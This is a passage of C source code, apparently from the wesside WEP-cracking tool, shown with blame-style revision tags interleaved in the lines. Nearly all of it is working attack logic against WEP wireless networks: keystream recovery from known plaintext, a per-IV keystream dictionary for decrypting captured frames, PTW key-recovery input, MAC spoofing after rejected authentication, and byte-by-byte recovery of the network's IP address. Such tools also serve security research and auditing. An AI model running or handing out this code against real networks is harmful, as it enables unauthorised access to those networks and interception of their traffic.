cipher[i]) : 846161030Ssam clear[i]); 847161030Ssam } 848161030Ssam 849161030Ssam time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", 850161030Ssam prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]); 851161030Ssam hexdump(prgainfo.prga, prgainfo.len); 852161030Ssam 853161030Ssam if (!cipher) 854161030Ssam return; 855161030Ssam 856161030Ssam fd = open(PRGA_FILE, O_WRONLY | O_CREAT, 857161030Ssam S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); 858161030Ssam 859161030Ssam if (fd == -1) { 860161030Ssam perror("open()"); 861161030Ssam exit(1); 862161030Ssam } 863161030Ssam 864161030Ssam i = write(fd, prgainfo.iv, 3); 865161030Ssam if (i == -1) { 866161030Ssam perror("write()"); 867161030Ssam exit(1); 868161030Ssam } 869161030Ssam if (i != 3) { 870161030Ssam printf("Wrote %d out of %d\n", i, 3); 871161030Ssam exit(1); 872161030Ssam } 873161030Ssam 874161030Ssam i = write(fd, prgainfo.prga, prgainfo.len); 875161030Ssam if (i == -1) { 876161030Ssam perror("write()"); 877161030Ssam exit(1); 878161030Ssam } 879161030Ssam if (i != prgainfo.len) { 880161030Ssam printf("Wrote %d out of %d\n", i, prgainfo.len); 881161030Ssam exit(1); 882161030Ssam } 883161030Ssam 884161030Ssam close(fd); 885161030Ssam} 886161030Ssam 887161030Ssam 888161030Ssamvoid log_dictionary(unsigned char* body, int len) { 889161030Ssam char paths[3][3]; 890161030Ssam int i, rd; 891161030Ssam int fd; 892161030Ssam unsigned char path[128]; 893161030Ssam unsigned char file_clear[sizeof(inet_clear)]; 894161030Ssam unsigned char* data; 895161030Ssam 896161030Ssam len -= 4; // IV etc.. 897161030Ssam assert (len == sizeof(inet_clear)); 898161030Ssam 899161030Ssam data = body +4; 900161030Ssam 901161030Ssam if (len > prgainfo.len) 902161030Ssam set_prga(body, data, inet_clear, len); 903161030Ssam 904161030Ssam 905161030Ssam for (i = 0; i < 3; i++) 906161030Ssam snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]); 907161030Ssam 908161030Ssam 909161030Ssam strcpy(path, DICT_PATH); 910161030Ssam 911161030Ssam 912161030Ssam // first 2 bytes 913161030Ssam for (i = 0; i < 2; i++) { 914161030Ssam strcat(path, "/"); 915161030Ssam strcat(path, paths[i]); 916161030Ssam fd = open(path, O_RDONLY); 917161030Ssam if (fd == -1) { 918161030Ssam if (errno != ENOENT) { 919161030Ssam perror("open()"); 920161030Ssam exit(1); 921161030Ssam } 922161030Ssam 923161030Ssam if (mkdir(path, 0755) == -1) { 924161030Ssam perror("mkdir()"); 925161030Ssam exit(1); 926161030Ssam } 927161030Ssam } 928161030Ssam else 929161030Ssam close(fd); 930161030Ssam } 931161030Ssam 932161030Ssam // last byte 933161030Ssam strcat(path, "/"); 934161030Ssam strcat(path, paths[2]); 935161030Ssam 936161030Ssam fd = open(path, O_RDWR); 937161030Ssam // already exists... see if we are consistent... 938161030Ssam if (fd != -1) { 939161030Ssam rd = read(fd, file_clear, sizeof(file_clear)); 940161030Ssam 941161030Ssam if (rd == -1) { 942161030Ssam perror("read()"); 943161030Ssam exit(1); 944161030Ssam } 945161030Ssam 946161030Ssam // check consistency.... 947161030Ssam for (i = 0; i < rd; i++) { 948161030Ssam if (file_clear[i] != 949161030Ssam (data[i] ^ inet_clear[i])) { 950161030Ssam 951161030Ssam printf("Mismatch in byte %d for:\n", i); 952161030Ssam hexdump(body, len+4); 953161030Ssam exit(1); 954161030Ssam } 955161030Ssam } 956161030Ssam 957161030Ssam // no need to log 958161030Ssam if (i >= sizeof(inet_clear)) { 959161030Ssam#if 0 960161030Ssam time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n", 961161030Ssam body[0], body[1], body[2]); 962161030Ssam#endif 963161030Ssam close(fd); 964161030Ssam return; 965161030Ssam } 966161030Ssam 967161030Ssam // file has less... fd still open 968161030Ssam 969161030Ssam } else { 970161030Ssam fd = open(path, O_WRONLY | O_CREAT, 0644); 971161030Ssam if (fd == -1) { 972161030Ssam printf("Can't open (%s): %s\n", path, 973161030Ssam strerror(errno)); 974161030Ssam exit(1); 975161030Ssam } 976161030Ssam } 977161030Ssam 978161030Ssam assert (sizeof(file_clear) >= sizeof(inet_clear)); 979161030Ssam 980161030Ssam for(i = 0; i < len; i++) 981161030Ssam file_clear[i] = data[i] ^ inet_clear[i]; 982161030Ssam 983161030Ssam rd = write(fd, file_clear, len); 984161030Ssam if (rd == -1) { 985161030Ssam perror("write()"); 986161030Ssam exit(1); 987161030Ssam } 988161030Ssam if (rd != len) { 989161030Ssam printf("Wrote %d of %d\n", rd, len); 990161030Ssam exit(1); 991161030Ssam } 992161030Ssam close(fd); 993161030Ssam} 994161030Ssam 995161030Ssamvoid stuff_for_us(struct ieee80211_frame* wh, int len) { 996161030Ssam int type,stype; 997161030Ssam unsigned char* body; 998161030Ssam 999161030Ssam type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; 1000161030Ssam stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; 1001161030Ssam 1002161030Ssam body = (unsigned char*) wh + sizeof(*wh); 1003161030Ssam 1004161030Ssam // CTL 1005161030Ssam if (type == IEEE80211_FC0_TYPE_CTL) { 1006161030Ssam if (stype == IEEE80211_FC0_SUBTYPE_ACK) { 1007161030Ssam txstate.waiting_ack = 0; 1008161030Ssam return; 1009161030Ssam } 1010161030Ssam 1011161030Ssam if (stype == IEEE80211_FC0_SUBTYPE_RTS) { 1012161030Ssam return; 1013161030Ssam } 1014161030Ssam 1015161030Ssam if (stype == IEEE80211_FC0_SUBTYPE_CTS) { 1016161030Ssam return; 1017161030Ssam } 1018161030Ssam time_print ("got CTL=%x\n", stype); 1019161030Ssam return; 1020161030Ssam } 1021161030Ssam 1022161030Ssam // MGM 1023161030Ssam if (type == IEEE80211_FC0_TYPE_MGT) { 1024161030Ssam if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) { 1025161030Ssam unsigned short* rc = (unsigned short*) body; 1026161030Ssam printf("\n"); 1027161030Ssam time_print("Got deauth=%u\n", le16toh(*rc)); 1028161030Ssam state = FOUND_VICTIM; 1029161030Ssam return; 1030161030Ssam exit(1); 1031161030Ssam } 1032161030Ssam else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) { 1033161030Ssam unsigned short* sc = (unsigned short*) body; 1034161030Ssam 1035161030Ssam if (*sc != 0) { 1036161030Ssam time_print("Warning got auth algo=%x\n", *sc); 1037161030Ssam exit(1); 1038161030Ssam return; 1039161030Ssam } 1040161030Ssam sc++; 1041161030Ssam 1042161030Ssam if (*sc != 2) { 1043161030Ssam time_print("Warning got auth seq=%x\n", *sc); 1044161030Ssam return; 1045161030Ssam } 1046161030Ssam 1047161030Ssam sc++; 1048161030Ssam 1049161030Ssam if (*sc == 1) { 1050161030Ssam time_print("Auth rejected... trying to spoof mac.\n"); 1051161030Ssam state = SPOOF_MAC; 1052161030Ssam return; 1053161030Ssam } 1054161030Ssam else if (*sc == 0) { 1055161030Ssam time_print("Authenticated\n"); 1056161030Ssam state = GOT_AUTH; 1057161030Ssam return; 1058161030Ssam } 1059161030Ssam else { 1060161030Ssam time_print("Got auth %x\n", *sc); 1061161030Ssam exit(1); 1062161030Ssam } 1063161030Ssam } 1064161030Ssam else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) { 1065161030Ssam unsigned short* sc = (unsigned short*) body; 1066161030Ssam sc++; // cap 1067161030Ssam 1068161030Ssam if (*sc == 0) { 1069161030Ssam sc++; 1070161030Ssam unsigned int aid = le16toh(*sc) & 0x3FFF; 1071161030Ssam time_print("Associated (ID=%x)\n", aid); 1072161030Ssam state = GOT_ASSOC; 1073161030Ssam return; 1074168966Ssam } else if (*sc == 12) { 1075168966Ssam time_print("Assoc rejected..." 1076168966Ssam " trying to spoof mac.\n"); 1077168966Ssam state = SPOOF_MAC; 1078168966Ssam return; 1079161030Ssam } else { 1080161030Ssam time_print("got assoc %x\n", *sc); 1081161030Ssam exit(1); 1082161030Ssam } 1083161030Ssam } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { 1084161030Ssam return; 1085161030Ssam } 1086161030Ssam 1087161030Ssam time_print("\nGOT MAN=%x\n", stype); 1088161030Ssam exit(1); 1089161030Ssam } 1090161030Ssam 1091161030Ssam if (type == IEEE80211_FC0_TYPE_DATA && 1092161030Ssam stype == IEEE80211_FC0_SUBTYPE_DATA) { 1093161030Ssam int dlen; 1094161030Ssam dlen = len - sizeof(*wh) - 4 -4; 1095161030Ssam 1096161030Ssam if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) { 1097161030Ssam time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n", 1098161030Ssam mac2str(wh->i_addr2), dlen, stype); 1099161030Ssam return; 1100161030Ssam } 1101161030Ssam 1102161030Ssam assert (wh->i_fc[1] & IEEE80211_FC1_WEP); 1103161030Ssam 1104161030Ssam if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) { 1105161030Ssam rtrmac = (unsigned char *) malloc(6); 1106161030Ssam if (!rtrmac) { 1107161030Ssam perror("malloc()"); 1108161030Ssam exit(1); 1109161030Ssam } 1110161030Ssam 1111161030Ssam assert( rtrmac > (unsigned char*) 1); 1112161030Ssam 1113161030Ssam memcpy (rtrmac, wh->i_addr3, 6); 1114161030Ssam time_print("Got arp reply from (%s)\n", mac2str(rtrmac)); 1115161030Ssam 1116161030Ssam return; 1117161030Ssam } 1118161030Ssam#if 0 1119161030Ssam // check if its a TTL update from dictionary stuff 1120161030Ssam if (dlen >= (8+20+8+MAGIC_TTL_PAD) && 1121161030Ssam dlen <= (8+20+8+MAGIC_TTL_PAD+128)) { 1122161030Ssam int ttl_delta, new_ttl; 1123161030Ssam 1124161030Ssam ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD; 1125161030Ssam new_ttl = 128 - ttl_delta; 1126161030Ssam 1127161030Ssam if (ttl_val && new_ttl != ttl_val) { 1128161030Ssam time_print("oops. ttl changed from %d to %d\n", 1129161030Ssam ttl_val, new_ttl); 1130161030Ssam exit(1); 1131161030Ssam } 1132161030Ssam 1133161030Ssam if (!ttl_val) { 1134161030Ssam ttl_val = new_ttl; 1135161030Ssam printf("\n"); 1136161030Ssam time_print("Got TTL of %d\n", ttl_val); 1137161030Ssam calculate_inet_clear(); 1138161030Ssam } 1139161030Ssam } 1140161030Ssam 1141161030Ssam // check if its dictionary data 1142161030Ssam if (ttl_val && dlen == (8+20+8+PRGA_LEN)) { 1143161030Ssam log_dictionary(body, len - sizeof(*wh)); 1144161030Ssam } 1145161030Ssam#endif 1146161030Ssam } 1147161030Ssam 1148161030Ssam#if 0 1149161030Ssam printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n", 1150161030Ssam type, stype, mac2str(wh->i_addr2), len); 1151161030Ssam#endif 1152161030Ssam} 1153161030Ssam 1154161030Ssamvoid decrypt_arpreq(struct ieee80211_frame* wh, int rd) { 1155161030Ssam unsigned char* body; 1156161030Ssam int bodylen; 1157161030Ssam unsigned char clear[36]; 1158161030Ssam unsigned char* ptr; 1159161030Ssam struct arphdr* h; 1160161030Ssam int i; 1161161030Ssam 1162161030Ssam body = (unsigned char*) wh+sizeof(*wh); 1163161030Ssam ptr = clear; 1164161030Ssam 1165161030Ssam // calculate clear-text 1166161030Ssam memcpy(ptr, arp_clear, sizeof(arp_clear)-1); 1167161030Ssam ptr += sizeof(arp_clear) -1; 1168161030Ssam 1169161030Ssam h = (struct arphdr*)ptr; 1170161030Ssam h->ar_hrd = htons(ARPHRD_ETHER); 1171161030Ssam h->ar_pro = htons(ETHERTYPE_IP); 1172161030Ssam h->ar_hln = 6; 1173161030Ssam h->ar_pln = 4; 1174161030Ssam h->ar_op = htons(ARPOP_REQUEST); 1175161030Ssam ptr += sizeof(*h); 1176161030Ssam 1177161030Ssam memcpy(ptr, wh->i_addr3, 6); 1178161030Ssam 1179161030Ssam bodylen = rd - sizeof(*wh) - 4 - 4; 1180161030Ssam decryptstate.clen = bodylen; 1181161030Ssam decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen); 1182161030Ssam if (!decryptstate.cipher) { 1183161030Ssam perror("malloc()"); 1184161030Ssam exit(1); 1185161030Ssam } 1186161030Ssam decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen); 1187161030Ssam if (!decryptstate.prgainfo.prga) { 1188161030Ssam perror("malloc()"); 1189161030Ssam exit(1); 1190161030Ssam } 1191161030Ssam 1192161030Ssam 1193161030Ssam memcpy(decryptstate.cipher, &body[4], decryptstate.clen); 1194161030Ssam memcpy(decryptstate.prgainfo.iv, body, 3); 1195161030Ssam 1196161030Ssam memset(decryptstate.prgainfo.prga, 0, decryptstate.clen); 1197161030Ssam for(i = 0; i < (8+8+6); i++) { 1198161030Ssam decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^ 1199161030Ssam clear[i]; 1200161030Ssam } 1201161030Ssam 1202161030Ssam decryptstate.prgainfo.len = i; 1203161030Ssam time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3)); 1204161030Ssam} 1205161030Ssam 1206168502Ssamvoid log_wep(struct ieee80211_frame* wh, int len) { 1207161030Ssam int rd; 1208168502Ssam struct pcap_pkthdr pkh; 1209168502Ssam struct timeval tv; 1210168502Ssam unsigned char *body = (unsigned char*) (wh+1); 1211161030Ssam 1212168502Ssam memset(&pkh, 0, sizeof(pkh)); 1213168502Ssam pkh.caplen = pkh.len = len; 1214168502Ssam if (gettimeofday(&tv, NULL) == -1) 1215168502Ssam err(1, "gettimeofday()"); 1216168502Ssam pkh.ts = tv; 1217168502Ssam if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh)) 1218168502Ssam err(1, "write()"); 1219161030Ssam 1220168502Ssam rd = write(weplog.fd, wh, len); 1221161030Ssam 1222161030Ssam if (rd == -1) { 1223161030Ssam perror("write()"); 1224161030Ssam exit(1); 1225161030Ssam } 1226168502Ssam if (rd != len) { 1227168502Ssam time_print("short write %d out of %d\n", rd, len); 1228161030Ssam exit(1); 1229161030Ssam } 1230161030Ssam 1231161030Ssam#if 0 1232161030Ssam if (fsync(weplog.fd) == -1) { 1233161030Ssam perror("fsync()"); 1234161030Ssam exit(1); 1235161030Ssam } 1236161030Ssam#endif 1237161030Ssam 1238161030Ssam memcpy(weplog.iv, body, 3); 1239161030Ssam weplog.packets++; 1240161030Ssam} 1241161030Ssam 1242161030Ssamvoid try_dictionary(struct ieee80211_frame* wh, int len) { 1243161030Ssam unsigned char *body; 1244161030Ssam char path[52]; 1245161030Ssam char paths[3][3]; 1246161030Ssam int i; 1247161030Ssam int fd, rd; 1248161030Ssam unsigned char packet[4096]; 1249161030Ssam int dlen; 1250161030Ssam struct ether_header* eh; 1251161030Ssam uLong crc; 1252161030Ssam unsigned long *pcrc; 1253161030Ssam unsigned char* dmac, *smac; 1254161030Ssam 1255161030Ssam assert (len < sizeof(packet) + sizeof(*eh)); 1256161030Ssam 1257161030Ssam body = (unsigned char*) wh + sizeof(*wh); 1258161030Ssam 1259161030Ssam for (i = 0; i < 3; i++) 1260161030Ssam snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]); 1261161030Ssam 1262161030Ssam sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]); 1263161030Ssam 1264161030Ssam fd = open(path, O_RDONLY); 1265161030Ssam if (fd == -1) 1266161030Ssam return; 1267161030Ssam 1268161030Ssam rd = read(fd, &packet[6], sizeof(packet)-6); 1269161030Ssam if (rd == -1) { 1270161030Ssam perror("read()"); 1271161030Ssam exit(1); 1272161030Ssam } 1273161030Ssam close(fd); 1274161030Ssam 1275161030Ssam 1276161030Ssam dlen = len - sizeof(*wh) - 4; 1277161030Ssam if (dlen > rd) { 1278161030Ssam printf("\n"); 1279161030Ssam time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd, 1280161030Ssam dlen); 1281161030Ssam return; 1282161030Ssam } 1283161030Ssam 1284161030Ssam body += 4; 1285161030Ssam for (i = 0; i < dlen; i++) 1286161030Ssam packet[6+i] ^= body[i]; 1287161030Ssam 1288161030Ssam dlen -= 4; 1289161030Ssam crc = crc32(0L, Z_NULL, 0); 1290161030Ssam crc = crc32(crc, &packet[6], dlen); 1291161030Ssam pcrc = (unsigned long*) (&packet[6+dlen]); 1292161030Ssam 1293161030Ssam if (*pcrc != crc) { 1294161030Ssam printf("\n"); 1295161030Ssam time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n", 1296161030Ssam path, *pcrc, crc); 1297161030Ssam return; 1298161030Ssam } 1299161030Ssam 1300161030Ssam // fill ethernet header 1301161030Ssam eh = (struct ether_header*) packet; 1302161030Ssam if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) 1303161030Ssam smac = wh->i_addr3; 1304161030Ssam else 1305161030Ssam smac = wh->i_addr2; 1306161030Ssam 1307161030Ssam if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) 1308161030Ssam dmac = wh->i_addr3; 1309161030Ssam else 1310161030Ssam dmac = wh->i_addr1; 1311161030Ssam 1312161030Ssam memcpy(eh->ether_dhost, dmac, 6); 1313161030Ssam memcpy(eh->ether_shost, smac, 6); 1314161030Ssam // ether type should be there from llc 1315161030Ssam 1316161030Ssam dlen -= 8; // llc 1317161030Ssam dlen += sizeof(*eh); 1318161030Ssam 1319161030Ssam#if 0 1320161030Ssam printf("\n"); 1321161030Ssam time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen); 1322161030Ssam hexdump(packet, dlen); 1323161030Ssam#endif 1324161030Ssam 1325161030Ssam rd = write(tapfd, packet, dlen); 1326161030Ssam if (rd == -1) { 1327161030Ssam perror("write()"); 1328161030Ssam exit(1); 1329161030Ssam } 1330161030Ssam if (rd != dlen) { 1331161030Ssam printf("Wrote %d / %d\n", rd, dlen); 1332161030Ssam exit(1); 1333161030Ssam } 1334161030Ssam} 1335161030Ssam 1336168502Ssamint is_arp(struct ieee80211_frame *wh, int len) 1337168502Ssam{ 1338168502Ssam int arpsize = 8 + sizeof(struct arphdr) + 10*2; 1339168502Ssam 1340168502Ssam if (len == arpsize || len == 54) 1341168502Ssam return 1; 1342168502Ssam 1343168502Ssam return 0; 1344168502Ssam} 1345168502Ssam 1346168502Ssamvoid *get_sa(struct ieee80211_frame *wh) 1347168502Ssam{ 1348168502Ssam if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) 1349168502Ssam return wh->i_addr3; 1350168502Ssam else 1351168502Ssam return wh->i_addr2; 1352168502Ssam} 1353168502Ssam 1354168502Ssamvoid *get_da(struct ieee80211_frame *wh) 1355168502Ssam{ 1356168502Ssam if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) 1357168502Ssam return wh->i_addr1; 1358168502Ssam else 1359168502Ssam return wh->i_addr3; 1360168502Ssam} 1361168502Ssam 1362168502Ssamint known_clear(void *clear, struct ieee80211_frame *wh, int len) 1363168502Ssam{ 1364168502Ssam unsigned char *ptr = clear; 1365168502Ssam 1366168502Ssam /* IP */ 1367168502Ssam if (!is_arp(wh, len)) { 1368168502Ssam unsigned short iplen = htons(len - 8); 1369168502Ssam 1370168502Ssam// printf("Assuming IP %d\n", len); 1371168502Ssam 1372168502Ssam len = sizeof(S_LLC_SNAP_IP) - 1; 1373168502Ssam memcpy(ptr, S_LLC_SNAP_IP, len); 1374168502Ssam ptr += len; 1375168502Ssam#if 1 1376168502Ssam len = 2; 1377168502Ssam memcpy(ptr, "\x45\x00", len); 1378168502Ssam ptr += len; 1379168502Ssam 1380168502Ssam memcpy(ptr, &iplen, len); 1381168502Ssam ptr += len; 1382168502Ssam#endif 1383168502Ssam len = ptr - ((unsigned char*)clear); 1384168502Ssam return len; 1385168502Ssam } 1386168502Ssam// printf("Assuming ARP %d\n", len); 1387168502Ssam 1388168502Ssam /* arp */ 1389168502Ssam len = sizeof(S_LLC_SNAP_ARP) - 1; 1390168502Ssam memcpy(ptr, S_LLC_SNAP_ARP, len); 1391168502Ssam ptr += len; 1392168502Ssam 1393168502Ssam /* arp hdr */ 1394168502Ssam len = 6; 1395168502Ssam memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); 1396168502Ssam ptr += len; 1397168502Ssam 1398168502Ssam /* type of arp */ 1399168502Ssam len = 2; 1400168502Ssam if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) 1401168502Ssam memcpy(ptr, "\x00\x01", len); 1402168502Ssam else 1403168502Ssam memcpy(ptr, "\x00\x02", len); 1404168502Ssam ptr += len; 1405168502Ssam 1406168502Ssam /* src mac */ 1407168502Ssam len = 6; 1408168502Ssam memcpy(ptr, get_sa(wh), len); 1409168502Ssam ptr += len; 1410168502Ssam 1411168502Ssam len = ptr - ((unsigned char*)clear); 1412168502Ssam return len; 1413168502Ssam} 1414168502Ssam 1415168502Ssamvoid add_keystream(struct ieee80211_frame* wh, int rd) 1416168502Ssam{ 1417168502Ssam unsigned char clear[1024]; 1418168502Ssam int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4; 1419168502Ssam int clearsize; 1420168502Ssam unsigned char *body = (unsigned char*) (wh+1); 1421168502Ssam int i; 1422168502Ssam 1423168502Ssam clearsize = known_clear(clear, wh, dlen); 1424168502Ssam if (clearsize < 16) 1425168502Ssam return; 1426168502Ssam 1427168502Ssam for (i = 0; i < 16; i++) 1428168502Ssam clear[i] ^= body[4+i]; 1429168502Ssam 1430168502Ssam PTW_addsession(ptw, body, clear); 1431168502Ssam} 1432168502Ssam 1433161030Ssamvoid got_wep(struct ieee80211_frame* wh, int rd) { 1434161030Ssam int bodylen; 1435161030Ssam int dlen; 1436168502Ssam unsigned char clear[1024]; 1437161030Ssam int clearsize; 1438161030Ssam unsigned char *body; 1439161030Ssam 1440161030Ssam bodylen = rd - sizeof(struct ieee80211_frame); 1441161030Ssam 1442161030Ssam dlen = bodylen - 4 - 4; 1443161030Ssam body = (unsigned char*) wh + sizeof(*wh); 1444161030Ssam 1445161030Ssam 1446161030Ssam // log it if its stuff not from us... 1447161030Ssam if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) || 1448161030Ssam ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && 1449161030Ssam memcmp(wh->i_addr2, mymac, 6) != 0) ) { 1450161030Ssam 1451168502Ssam if (body[3] != 0) { 1452168502Ssam time_print("Key index=%x!!\n", body[3]); 1453168502Ssam exit(1); 1454168502Ssam } 1455168502Ssam log_wep(wh, rd); 1456168502Ssam add_keystream(wh, rd); 1457161030Ssam 1458161030Ssam // try to decrypt too 1459161030Ssam try_dictionary(wh, rd); 1460161030Ssam } 1461161030Ssam 1462161030Ssam // look for arp-request packets... so we can decrypt em 1463161030Ssam if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && 1464161030Ssam (memcmp(wh->i_addr3, mymac, 6) != 0) && 1465161030Ssam (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && 1466161030Ssam (dlen == 36 || dlen == PADDED_ARPLEN) && 1467161030Ssam !decryptstate.cipher && 1468161030Ssam !netip) { 1469161030Ssam decrypt_arpreq(wh, rd); 1470161030Ssam } 1471161030Ssam 1472161030Ssam // we have prga... check if its our stuff being relayed... 1473161030Ssam if (prgainfo.len != 0) { 1474161030Ssam // looks like it... 1475161030Ssam if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && 1476161030Ssam (memcmp(wh->i_addr3, mymac, 6) == 0) && 1477161030Ssam (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && 1478161030Ssam dlen == fragstate.len) { 1479161030Ssam 1480161030Ssam// printf("I fink AP relayed it...\n"); 1481161030Ssam set_prga(body, &body[4], fragstate.data, dlen); 1482161030Ssam free(fragstate.data); 1483161030Ssam fragstate.data = 0; 1484161030Ssam fragstate.waiting_relay = 0; 1485161030Ssam } 1486161030Ssam 1487161030Ssam // see if we get the multicast stuff of when decrypting 1488161030Ssam if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && 1489161030Ssam (memcmp(wh->i_addr3, mymac, 6) == 0) && 1490161030Ssam (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) && 1491161030Ssam dlen == 36) { 1492161030Ssam 1493161030Ssam unsigned char pr = wh->i_addr1[5]; 1494161030Ssam 1495161030Ssam printf("\n"); 1496161030Ssam time_print("Got clear-text byte: %d\n", 1497161030Ssam decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr); 1498161030Ssam 1499161030Ssam decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr; 1500161030Ssam decryptstate.prgainfo.len++; 1501161030Ssam decryptstate.fragstate.waiting_relay = 1; 1502161030Ssam 1503161030Ssam // ok we got the ip... 1504161030Ssam if (decryptstate.prgainfo.len == 26+1) { 1505161030Ssam unsigned char ip[4]; 1506161030Ssam int i; 1507161030Ssam struct in_addr *in = (struct in_addr*) ip; 1508161030Ssam unsigned char *ptr; 1509161030Ssam 1510161030Ssam for (i = 0; i < 4; i++) 1511161030Ssam ip[i] = decryptstate.cipher[8+8+6+i] ^ 1512161030Ssam decryptstate.prgainfo.prga[8+8+6+i]; 1513161030Ssam 1514161030Ssam assert(!netip); 1515161030Ssam netip = (unsigned char*) malloc(16); 1516161030Ssam if(!netip) { 1517161030Ssam perror("malloc()"); 1518161030Ssam exit(1); 1519161030Ssam } 1520161030Ssam 1521161030Ssam memset(netip, 0, 16); 1522161030Ssam strcpy(netip, inet_ntoa(*in)); 1523161030Ssam 1524161030Ssam time_print("Got IP=(%s)\n", netip); 1525161030Ssam strcpy(myip, netip); 1526161030Ssam 1527161030Ssam ptr = strchr(myip, '.'); 1528161030Ssam assert(ptr); 1529161030Ssam ptr = strchr(ptr+1, '.'); 1530161030Ssam assert(ptr); 1531161030Ssam ptr = strchr(ptr+1, '.'); 1532161030Ssam assert(ptr); 1533161030Ssam strcpy(ptr+1,"123"); 1534161030Ssam 1535161030Ssam time_print("My IP=(%s)\n", myip); 1536161030Ssam 1537161030Ssam 1538161030Ssam free(decryptstate.prgainfo.prga); 1539161030Ssam free(decryptstate.cipher); 1540161030Ssam memset(&decryptstate, 0, sizeof(decryptstate)); 1541161030Ssam } 1542161030Ssam } 1543161030Ssam return; 1544161030Ssam } 1545161030Ssam 1546168502Ssam clearsize = known_clear(clear, wh, dlen); 1547168502Ssam time_print("Datalen %d Known clear %d\n", dlen, clearsize); 1548161030Ssam 1549161030Ssam set_prga(body, &body[4], clear, clearsize); 1550161030Ssam} 1551161030Ssam 1552161030Ssamvoid stuff_for_net(struct ieee80211_frame* wh, int rd) { 1553161030Ssam int type,stype; 1554161030Ssam 1555161030Ssam type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; 1556161030Ssam stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; 1557161030Ssam 1558161030Ssam if (type == IEEE80211_FC0_TYPE_DATA && 1559161030Ssam stype == IEEE80211_FC0_SUBTYPE_DATA) { 1560161030Ssam int dlen = rd - sizeof(struct ieee80211_frame); 1561161030Ssam 1562161030Ssam if (state == SPOOF_MAC) { 1563161030Ssam unsigned char mac[6]; 1564161030Ssam if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 1565161030Ssam memcpy(mac, wh->i_addr3, 6); 1566161030Ssam } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { 1567161030Ssam memcpy(mac, wh->i_addr1, 6); 1568161030Ssam } else assert(0); 1569161030Ssam 1570161030Ssam if (mac[0] == 0xff || mac[0] == 0x1) 1571161030Ssam return; 1572161030Ssam 1573161030Ssam memcpy(mymac, mac, 6); 1574161030Ssam time_print("Trying to use MAC=(%s)\n", mac2str(mymac)); 1575161030Ssam state = FOUND_VICTIM; 1576161030Ssam return; 1577161030Ssam } 1578161030Ssam 1579161030Ssam // wep data! 1580161030Ssam if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) { 1581161030Ssam got_wep(wh, rd); 1582161030Ssam } 1583161030Ssam } 1584161030Ssam} 1585161030Ssam 1586161030Ssamvoid anal(unsigned char* buf, int rd, int tx) { // yze 1587168502Ssam struct ieee80211_frame* wh = (struct ieee80211_frame *) buf; 1588161030Ssam int type,stype; 1589161030Ssam static int lastseq = -1; 1590161030Ssam int seq; 1591161030Ssam unsigned short *seqptr; 1592161030Ssam int for_us = 0; 1593161030Ssam 1594161030Ssam if (rd < 1) { 1595161030Ssam time_print("rd=%d\n", rd); 1596161030Ssam exit(1); 1597161030Ssam } 1598161030Ssam 1599161030Ssam type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; 1600161030Ssam stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; 1601161030Ssam 1602161030Ssam // sort out acks 1603161030Ssam if (state >= FOUND_VICTIM) { 1604161030Ssam // stuff for us 1605161030Ssam if (memcmp(wh->i_addr1, mymac, 6) == 0) { 1606161030Ssam for_us = 1; 1607161030Ssam if (type != IEEE80211_FC0_TYPE_CTL) 1608161030Ssam send_ack(tx); 1609161030Ssam } 1610161030Ssam } 1611161030Ssam 1612161030Ssam // XXX i know it aint great... 1613161030Ssam seqptr = (unsigned short*) wh->i_seq; 1614161030Ssam seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; 1615161030Ssam if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) && 